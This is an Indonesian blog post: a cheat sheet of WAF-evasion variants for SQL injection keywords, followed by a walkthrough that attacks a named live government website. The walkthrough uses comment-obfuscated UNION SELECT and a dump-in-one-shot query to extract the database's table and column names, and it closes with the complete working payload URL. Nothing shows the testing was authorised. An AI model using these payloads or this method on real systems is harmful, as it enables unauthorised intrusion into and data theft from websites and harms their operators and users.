Wednesday, March 1, 2017

MACAM - MACAM BYPASS WAFF SQLi

[#] Bypass order by [#]

/*!ORDER*/ BY 1
/*!ORDER/**/BY*/ 1
/*!50000ORDER*/ BY 1
/*!50000ORDER BY*/ 1
 /**_**/ORDER/**_**/ /**_**/BY/**_**/  1
/**//**_**/ORDER/**_**//**/ /**//**_**/BY/**_**/ /**/ 1
 /**/OR/**/DER BY  1
 ORDER BY 1
 ORDER BY 1
%0AORDER%0A %0ABY%0A  1
 ORDER BY  (1)--

[#] Bypass Concat() [#]
/*!concat*/()
/*!50000concat*/()
/**//concat/**/()
/**/con/**/cat/**/()
concat/**_**/()
/**_**/concat/**_**/()
concat()
concat()
concat()
%0Aconcat()
concat%0A()
%0Aconcat%0A()

[#] Bypass Group_concat() [#]
/*!Group_concat*/()
/*!50000group_concat*/()
/**//group_concat/**/()
/**/Gro/**/up_con/**/cat/**/()
group_concat/**_**/()
/**_**/group_concat/**_**/()
group_concat()
group_concat()
group_concat()
%0Agroup_concat()
group_concat%0A()
%0Agroup_concat%0A()
[#] Bypass version() [#]
/*!version*/()
/*!50000version*/()
/**//version/**/()
/**/ver/**/sion/**/()
version/**_**/()
/**_**/version/**_**/()
version()
version()
version()
%0Aversion()
version%0A()
%0Aversion%0A()

[#]Bypass database()[#]
/*!database*/()
/*!50000database*/()
/**//database/**/()
/**/data/**/base/**/()
database/**_**/()
/**_**/database/**_**/()
database()
database()
database()
%0Adatabase()
database%0A()
%0Adatabase%0A()

[#]Bypass user()[#]
/*!user*/()
/*!50000user*/()
/**//user/**/()
/**/us/**/er/**/()
user/**_**/()
/**_**/user/**_**/()
user()
user()
user()
%0Auser()
user%0A()
%0Auser%0A()

[#]Bypass from [#]
/*!from*/
/*!50000from*/
from
from
%0Afrom
from%0A
%0Afrom%0A
%0ATWA%0Afrom%0ATWA%0A

[#]Bypass information_schema.columns [#]
/*!information_schema.columns*/
/*!information_schema*/.columns
/*!50000information_schema*/.columns
/*!50000information_schema.columns*/
/**_**/information_schema/**_**/.columns
/**/information_schema/**/.columns
/**/information_sch/**/ema/**/.columns
information_sch/**/ema.columns
information_schema.columns
%0Ainformation_schema.columns

[#]Bypass union select [#]
/*!%55NiOn*/ /*!%53eLEct*/

 %55nion(%53elect 1,2,3)-- -

 +union+distinct+select+

 +union+distinctROW+select+

 /**//*!12345UNION SELECT*//**/

 /**//*!50000UNION SELECT*//**/

 /**/UNION/**//*!50000SELECT*//**/

 /*!50000UniON SeLeCt*/

 union /*!50000%53elect*/

 +#uNiOn+#sEleCt

 +#1q%0AuNiOn all#qa%0A#%0AsEleCt

 /*!%55NiOn*/ /*!%53eLEct*/

 /*!u%6eion*/ /*!se%6cect*/

 +un/**/ion+se/**/lect

 uni%0bon+se%0blect

 %2f**%2funion%2f**%2fselect

 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A

 REVERSE(noinu)+REVERSE(tceles)

 /*--*/union/*--*/select/*--*/

 union (/*!/**/ SeleCT */ 1,2,3)

 /*!union*/+/*!select*/

 union+/*!select*/

 /**/union/**/select/**/

 /**/uNIon/**/sEleCt/**/

 /**//*!union*//**//*!select*//**/

 /*!uNIOn*/ /*!SelECt*/

 +union+distinct+select+

 +union+distinctROW+select+

 +UnIOn%0d%0aSeleCt%0d%0a

 UNION/*&test=1*/SELECT/*&pwn=2*/

 un?+un/**/ion+se/**/lect+

 +UNunionION+SEselectLECT+

 +uni%0bon+se%0blect+

 %252f%252a*/union%252f%252a /select%252f%252a*/

 /%2A%2A/union/%2A%2A/select/%2A%2A/

 %2f**%2funion%2f**%2fselect%2f**%2f

 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A

 /*!UnIoN*/SeLecT+

UNION SELECT

UNION SELECT
 
UNION SELECT
 
UNION SELECT
 
%0AUNION%0ASELECT%0A


sumber : https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF

SQLi Bypass From atau information_schema

udah lama sekali ya saya tidak membuat artikel tentang SQLi.
oke kali ini saya akan membahas bagaimana cara menghadapi saat melakukan dios malah kena 403 forbiden.

selain itu saya juga akan memberikan sedikit trick untuk mengetahui query yang terkena filter pada saat SQLi.

oke langsung saja :
live target : http://upt-pth.dishut.jatimprov.go.id/layanan.php?id=1

skip saat melakukan injek point dan order by karena saya yakin kalian sudah tau caranya.

dalam target itu saya menemukan jumlah columnya adalah sebanyak 7 column
dan saya langsung melakukan union select sebanyak 7 column.
dan hasilnya
 
upps forbiden.

oke di saat seperti ini mari kita cari tahu query mana yg kena filter.
caranya adalah dengan melakukan kata perkata :
id=1 union 1,2,3,4,5,6,7  -- - ( No error )
id=1 select 1,2,3,4,5,6,7  -- - (No error)

id=1 union select 1,2,3,4,5,6,7  -- - (error)
jadi kesimpulanya adalah web tersebut menggunakan filter terhadap query union select.
jadi saya akan mencoba membypass salah satu querynya.
di sini saya membypass di bagian union sehingga menjadi.
id=-1 union /*!50000select*/ 1,2,3,4,5,6,7  --
dan hasilnya terlihat angka ajaibnya muncul
 
angka yg muncul adalah 4 daan 6

mari kita coba langsung menggunakan DIOS pada angka tersebut.
hasilnya
 
upss muncul Forbiden again saat saya melakukan dios.

mari kita cari tahu di query mana yg terkena filter di web tersebut.
id=-1 union /*!50000select*/ 1,2,3,concat(),5,6,7  -- ( No error)
id=-1 union /*!50000select*/ 1,2,3,concat(version()),5,6,7  -- (No error dan menampilkan versinya)

id=-1 union /*!50000select*/ 1,2,3,concat(version(),database()),5,6,7  -- (Error)

ternyata query database() terkena filter di web tersebut, oke saya akan melakukan bypass terhadap database().
langsung aja lah tanpa basa basi saya menggunakan bypass seperti ini database/**_**/() dan hasilnya adalah

kita bisa lihat hasilnya kita mendapatkan nama database web tersebut :D
oke kita lanjut.

saya akan menambahkan table_name dan column_name
seperti ini
id=-1 union /*!50000select*/ 1,2,3,concat(version(),0x3c62723e,database/**_**/(),table_name,column_name),5,6,7  -- -
dan hasilnya saya menemukan error again :(

oke dari penambahan query table_name dan column_name ternyata kena filter pada web tersebut
saya akan membypass query yg terkena filter tersebut seperti ini :
id=-1 union /*!50000select*/ 1,2,3,concat(version(),0x3c62723e,database/**_**/(),/*!50000table_name*/,/*!50000column_name*/),5,6,7  -- -
dan hasilnya
 
kita bisa lihat hasilnya web kembali normal tidak Forbiden lagi, namun versi dan nama database web tersebut menghilang.
jangan khawatir versi dan database itu menghilang karena kita menmabhkan query table_name dan column_name saja sehingga web tersebut tidak mengetahui table dan column yg mana yg akan ditampilkan sehingga versi dan nama database tersebut menghilang.

oke lanjut saya akan menambhkan query From di blangka angka
id=-1 union /*!50000select*/ 1,2,3,concat(version(),0x3c62723e,database/**_**/(),/*!50000table_name*/,/*!50000column_name*/),5,6,7 from  -- -
dan hasilnya adalah

wtf error again saat penambahan query from -,- berarti web ini memfilter query from -,-
gampang gampang susah si untuk membypass query from ini

oke saya akan mencoba mebypass query from seperti ini :
id=-1 union /*!50000select*/ 1,2,3,concat(version(),0x3c62723e,database/**_**/(),/*!50000table_name*/,/*!50000column_name*/),5,6,7 /*!50000from*/  -- - (error)

id=-1 union /*!50000select*/ 1,2,3,concat(version(),0x3c62723e,database/**_**/(),/*!50000table_name*/,/*!50000column_name*/),5,6,7 %0Afrom%0A  --  (error)

id=-1 union /*!50000select*/ 1,2,3,concat(version(),0x3c62723e,database/**_**/(),/*!50000table_name*/,/*!50000column_name*/),5,6,7 from  -- - (error)

id=-1 union /*!50000select*/ 1,2,3,concat(version(),0x3c62723e,database/**_**/(),/*!50000table_name*/,/*!50000column_name*/),5,6,7 /*!from*/  -- - (error)


fak men muncul error terus :(
lalu bagaimana cara Bypass from kalo segala bypass malah error mulu?
oke saya akan melakukan sedikit trick dalam SQLi

yaitu dengan cara menambahkan @s di dalam concat jadinya seperti ini :
id=-1 union /*!50000select*/ 1,2,3,concat(version(),0x3c62723e,database/**_**/(),0x3c62723e,@s),5,6,7  -- -
  
dan hasilnya web seperti semula akan tetapi masih menghilang versi dan nama databsenya.
oke lanjut saya akan menambahkan query andalan saya di saat menemukan kasus seperti ini
yaitu querynya :
div@s:=(concat(@c:=0x00,if((select count(*)/*!50000from*//*!50000information_schema*/.columns where table_schema=database/**X**/() and @c:=concat(@c,0x3c62723e,/*!50000table_name*/,0x3a3a3a3a3e,/*!50000column_name*/)),0x00,0x00),@c))

query ini berguna seperti DIOS pada sqli namun menempatkan query ini di depan union select
bisa di perhatikan dari query tersebut, yg mana saja query yg terkana filter pasti saya melakukan bypass.

menjadi seperti ini querynya
id=-1 div@s:=(concat(@c:=0x00,if((select count(*)/*!50000from*//*!50000information_schema*/.columns where table_schema=database/**X**/() and @c:=concat(@c,0x3c62723e,/*!50000table_name*/,0x3a3a3a3a3e,/*!50000column_name*/)),0x00,0x00),@c)) /*!50000Union*/ Select 1,2,3,concat(version(),0x3c62723e,database/**_**/(),0x3c62723e,@s),5,6,7 -- -

sehingga hasilnya seperti ini :
 


dan tara hasilnya kita mendapatkan table dan column database web tersebut.
hasil akhirnya seperti ini :

http://upt-pth.dishut.jatimprov.go.id/layanan.php?id=-1 div@s:=(concat(@c:=0x00,if((select count(*)/*!50000from*//*!50000information_schema*/.columns where table_schema=database/**X**/() and @c:=concat(@c,0x3c62723e,/*!50000table_name*/,0x3a3a3a3a3e,/*!50000column_name*/)),0x00,0x00),@c)) /*!50000Union*/ Select 1,2,3,concat(0x3c6833207374796c653d27666f6e742d73697a653a323070783b746578742d736861646f773a20327078203270782035707820617175613b273e,0x5175657279204279206f7269653430343c2f68333e,0x3c62723e,0x3c666f6e7420636f6c6f723d7265643e,0x76657273696f6e,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d626c75653e,0x3a3a3a3a3e,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,version(),0x3c2f666f6e743e,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,0x75736572,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d626c75653e,0x3a3a3a3a3e,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d677265656e3e,user/**_**/(),0x3c2f666f6e743e,0x3c62723e,0x3c666f6e7420636f6c6f723d6d6167656e74613e,0x6461746162617365,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d626c75653e,0x3a3a3a3a3e,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d6d6167656e74613e,database/**_**/(),0x3c2f666f6e743e,0x3c62723e,0x3c6833207374796c653d27666f6e742d73697a653a323070783b746578742d736861646f773a203270782032707820357078207265643b273e,@s),5,6,7 -- -


   
oke skian dahulu tutorial kali ini.
semoga membantu tutorial kali ini
 
Cool Blue Outer Glow Pointer